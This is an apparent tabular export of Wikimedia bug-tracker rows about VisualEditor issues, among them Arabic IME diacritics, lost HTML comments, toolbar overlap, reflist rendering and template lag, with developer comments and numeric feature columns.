+https://bugzilla.wikimedia.org/show_bug.cgi?id=50631",High,80.0,1372087860,1377202348.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-pg6duwir2q65ub4iepr6,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0
+244876,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!",,,1377202348,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+244867,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"Change 80080 merged by jenkins-bot:
+Don't emit Surface changes back to the Surface
+
+https://gerrit.wikimedia.org/r/80080",,,1377164920,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244860,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"**aaddira** wrote:
+
+Thank you. I have tested all possible diacritics on Arabic Wikipedia and everything is working great. Good job!",,,1377037457,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,3,False,,,7,,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+244852,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"Change 80080 had a related patch set uploaded by Jforrester:
+WIP:Don't emit Surface changes back to the Surface
+
+https://gerrit.wikimedia.org/r/80080",,,1377027676,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244845,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"I think this may be resolved by the following patch:
+https://gerrit.wikimedia.org/r/#/c/79451 . It fixes similar bugs in other scripts with similar properties.
+
+If it's still broken, is it possible to give a specific example of:
+
+1. A piece of Arabic text where VisualEditor fails
+2. The keystrokes required to enter the text
+3. The incorrect output observed in VisualEditor
+4. The OS, browser and input method used.
+
+Thanks!",,,1376936389,,PHID-USER-lliyevigiycjbybglftk,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+244838,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"(In reply to comment #2)
+> Thanks James - first bug report.
+
+No worries. :-) Welcome to the party.",,,1372090765,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+244833,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,Thanks James - first bug report.,,,1372090521,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+244827,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"Bumping priority, moving module, assigning, slight rewording; note that we can't fix things in the past (;-)), so setting to next week's deployment deadline.",,,1372090412,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+52102,VisualEditor: HTML comments being removed inside templates,"https://en.wikipedia.org/w/index.php?title=Jason_Bateman&curid=685922&diff=561337061&oldid=559944750
+
+https://en.wikipedia.org/w/index.php?title=David_Stewart_(photographer)&curid=24365669&diff=561336970&oldid=529664374
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372086120,1373851510.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-gqjhk4wjp2xx3zlksb5g,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+244703,VisualEditor: HTML comments being removed inside templates,"Confirmed that this indeed now fixed, now that everyone's caches have rotated.",,,1373851510,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gqjhk4wjp2xx3zlksb5g,task_subcomment,,True,c1,3,True,,,2,,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+244696,VisualEditor: HTML comments being removed inside templates,"comment 1 is an example that is not fixed by bug 50071, and im still seeing the problem occur.
+
+https://en.wikipedia.org/w/index.php?title=Republic_of_Texas&diff=562971813&oldid=562786837",,,1373029845,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-gqjhk4wjp2xx3zlksb5g,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0
+244691,VisualEditor: HTML comments being removed inside templates,"
+
+*** This bug has been marked as a duplicate of bug 50071 ***",,,1372113547,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gqjhk4wjp2xx3zlksb5g,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+244685,VisualEditor: HTML comments being removed inside templates,https://en.wikipedia.org/w/index.php?title=Paul_Evans_(footballer_born_1973)&curid=15575267&diff=561390930&oldid=561390588,,,1372096563,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gqjhk4wjp2xx3zlksb5g,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+52096,"VisualEditor: Templates' phantoms can overlap the toolbar, hindering saving/etc.","Screenshot
+
+See screenshot; this is still happening as of [timestamp of this bug]. The VE interprets a click on 'save page' to be an attempt to interact with the infobox.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49059
+
+**Attached**: {F11515}",High,80.0,1372081680,1372205712.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-zhyimecjptsrsi7gj65o,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+244281,"VisualEditor: Templates' phantoms can overlap the toolbar, hindering saving/etc.","**orbit** wrote:
+
+This is fixed now in master.",,,1372205712,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zhyimecjptsrsi7gj65o,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+244276,"VisualEditor: Templates' phantoms can overlap the toolbar, hindering saving/etc.","Created attachment 12625
+Screenshot of blue phantom overlapping save dialog using VisualEditor on the English Wikipedia, 2013-06-24
+
+Confirmed.
+
+**Attached**: {F11517}",,,1372100654,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zhyimecjptsrsi7gj65o,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+52094,VisualEditor: Reflist sometimes not fully being populated,"Compare the references section of https://en.wikipedia.org/wiki/A_Slight_at_the_Opera in read and edit mode.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52371",High,80.0,1372080180,1375381775.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-gww3sadaua5hd4aa5mxy,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244193,VisualEditor: Reflist sometimes not fully being populated,"No, this bug was fixed; I think that that's a different issue. Splitting.",,,1375381775,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gww3sadaua5hd4aa5mxy,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+244186,VisualEditor: Reflist sometimes not fully being populated,%%%*** Bug 52371 has been marked as a duplicate of this bug. ***%%%,,,1375381498,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-gww3sadaua5hd4aa5mxy,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+244179,VisualEditor: Reflist sometimes not fully being populated,Reopening; see bug 52371 for an example of this still happening.,,,1375381485,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-gww3sadaua5hd4aa5mxy,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+244173,VisualEditor: Reflist sometimes not fully being populated,This was fixed in the re-working of references last week; marking as fixed.,,,1375381274,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gww3sadaua5hd4aa5mxy,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+244169,VisualEditor: Reflist sometimes not fully being populated,"I can't reproduce this using the example above now, even looking at the version that was live when the comment was left. I see four references in both read and edit modes.",,,1375340495,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gww3sadaua5hd4aa5mxy,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+52084,VisualEditor: Lag when selecting complex templates (especially in big pages),"(from bug 49922 comment 1)
+
+VE is slow at selecting templates and transclusions in big pages.
+
+For example: [[World War II]]:
+
+ - attempt to select infobox by clicking on it: takes ~3 seconds in 
+   Firefox 21 and Chrome 27, with no visual indication that anything
+   is happening during the wait
+
+ - attempt to select the reflist by clicking on it: just hangs in Firefox
+   and Chrome, never actually seems to happen
+
+This either needs to be sped up, or fail more gracefully.
+
+In IE10, this is not such a problem \o/ - lag is actually less, and the reflist can be selected (takes about 22 seconds).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372048320,1406824618.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-3f6rzvtal3vp7j7ok4ve,task_description,resolved,True,c1,2,False,False,False,-1,,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+243681,VisualEditor: Lag when selecting complex templates (especially in big pages),"This is an old report that I think is now closable (but performance is of course an on-going concern).
+
+For these particular concerns, we've recently fixed a number of performance issues germane to these:
+
+* Selection of the template, and opening the dialog, takes much less than a
+  second now for me (I'd call it instant, roughly).
+* Loading the second reflist is much quicker too (the first one was already near-instant).
+
+(Note that these fixes should hit production later today.)
+
+Consequently, I'm marking this as ""FIXED"", though there's always going to be more to do.",,,1406824618,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3f6rzvtal3vp7j7ok4ve,task_subcomment,,True,c1,3,True,,,56,,1,0,0,0,0,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,0,0
+243676,VisualEditor: Lag when selecting complex templates (especially in big pages),"Created attachment 13765
+beyond the selected reflist
+
+**Attached**: {F11475}",,,1384199300,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-3f6rzvtal3vp7j7ok4ve,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+243671,VisualEditor: Lag when selecting complex templates (especially in big pages),"Created attachment 13764
+Above the reflist
+
+**Attached**: {F11474}",,,1384199261,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-3f6rzvtal3vp7j7ok4ve,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+243666,VisualEditor: Lag when selecting complex templates (especially in big pages),"Experienced the lag in selecting both the info box and reflist on that page in chrome Version 26.0.1410.65 and firefox 20 (MAC OS X version 10.8.5)
+
+However, did not experience the hang while selecting the reflist in either of the browsers.
+
+Also,while selecting the reflist , the blue selection box progresses beyond the reflist selected in both sides.
+
+See the screenshots attached.",,,1384199216,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-3f6rzvtal3vp7j7ok4ve,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+52079,"VisualEditor: When a page contains two identical templates right next to each other, one is removed","See the unexpected changes at https://en.wikipedia.org/w/index.php?title=Thomson_Airways&diff=561270595&oldid=561268927
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1372037280,1372089793.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-4gxgm32h47ktjmsohfhi,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243367,"VisualEditor: When a page contains two identical templates right next to each other, one is removed",Fixed and will go out in about an hour.,,,1372089793,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4gxgm32h47ktjmsohfhi,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+243361,"VisualEditor: When a page contains two identical templates right next to each other, one is removed",Related URL: https://gerrit.wikimedia.org/r/70133 (Gerrit Change Ib13bb206c49b1f5b186e40632a5c109def0f042e),,,1372069539,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4gxgm32h47ktjmsohfhi,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+243354,"VisualEditor: When a page contains two identical templates right next to each other, one is removed",Data model issue.,,,1372042733,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4gxgm32h47ktjmsohfhi,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+243348,"VisualEditor: When a page contains two identical templates right next to each other, one is removed","When a page contains two identical templates right next to each other, VE removes one of them. 
+
+Try editing [[User:This, that and the other/sandbox/VE5]] in VE, for example.",,,1372039711,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-4gxgm32h47ktjmsohfhi,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+52077,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","Screenshot
+
+See screenshot. What am I meant to be paying attention to?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11451}",High,80.0,1372035900,1373037205.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-wnsljgens4avgolp5rah,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+243196,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack",This has indeed be fixed by the above on-wiki change; closing.,,,1373037205,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+243192,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","(In reply to comment #9)
+> .ve-init-mw-viewPageTarget-toolbar-editNotices-notice .editnotice-redlink {
+> display: none !important; }
+> 
+> I'd recommend the community adds this to [[MediaWiki:Group-sysop.css]]
+
+Actually, add it to [[MediaWiki:Common.css]] below "".sysop-show { display: none"" because we want it to apply to non-sysops who made this visible in their user css as well. It won't affect anything else.",,,1372814858,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+243188,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","I agree that it isn't obvious whether the community does or doesn't want this information on the edit page. However I also want to emphasise that this is hidden by default, and thanks to our logic that strips out fake notices that have no visible content, they are hidden for the vast majority of users.
+
+If this ""Page notice"" redlink is visible, it is because the user has styles in their state (either from [[MediaWiki:Group-sysop.css]] or their user stylesheet) that make "".editnotice-redlink"" or "".show-sysops"" visible (the element in the edit notice has both classes).
+
+So one could argue showing it is the right thing to do, for they want to see it. Why would they want to see it on the edit page but not in VisualEditor? Likely because they don't use it that much in the first place, but it is more intruding in VisualEditor because notices pop up from the editor.
+
+Anyway, to hide in visualeditor without hiding it else where, you can use the following line of CSS:
+
+.ve-init-mw-viewPageTarget-toolbar-editNotices-notice .editnotice-redlink { display: none !important; }
+
+I'd recommend the community adds this to [[MediaWiki:Group-sysop.css]] right below the rules for  "".show-sysop { display: block !important; }"" and the like.
+
+Note that we can't use ve-ui-toolbar, we can only use ""ve-init-mw-viewPageTarget-toolbar-editNotices-notice"" because the other elements aren't in the notice's element tree until *after* it is already in the VE DOM, and hiding it after that will merely make the link invisible, the notice container will still be there.",,,1372814249,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wnsljgens4avgolp5rah,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1
+243185,"VisualEditor: Notice popup appears when there are, in fact, no notices because of enwiki's hack","(In reply to comment #6)
+> There isn't much we can do. If the community insists it is useful to have
+> placeholder edit notices when there is no editnotice that allows opt-in users
+> to create them from a red link, then this is exactly what they want, is it
+> not?
+> 
+> It shows that on EditPage as well (except in there, they are less visible as
+> actual notices but appear as part of the page).
+
+I disagree that the consensus that the enwiki community achieved for having this edit notice in wikitext editor (a consensus which I have disagreed for years, but there you go) transfers to consensus that they want it displaying in VisualEditor.
+
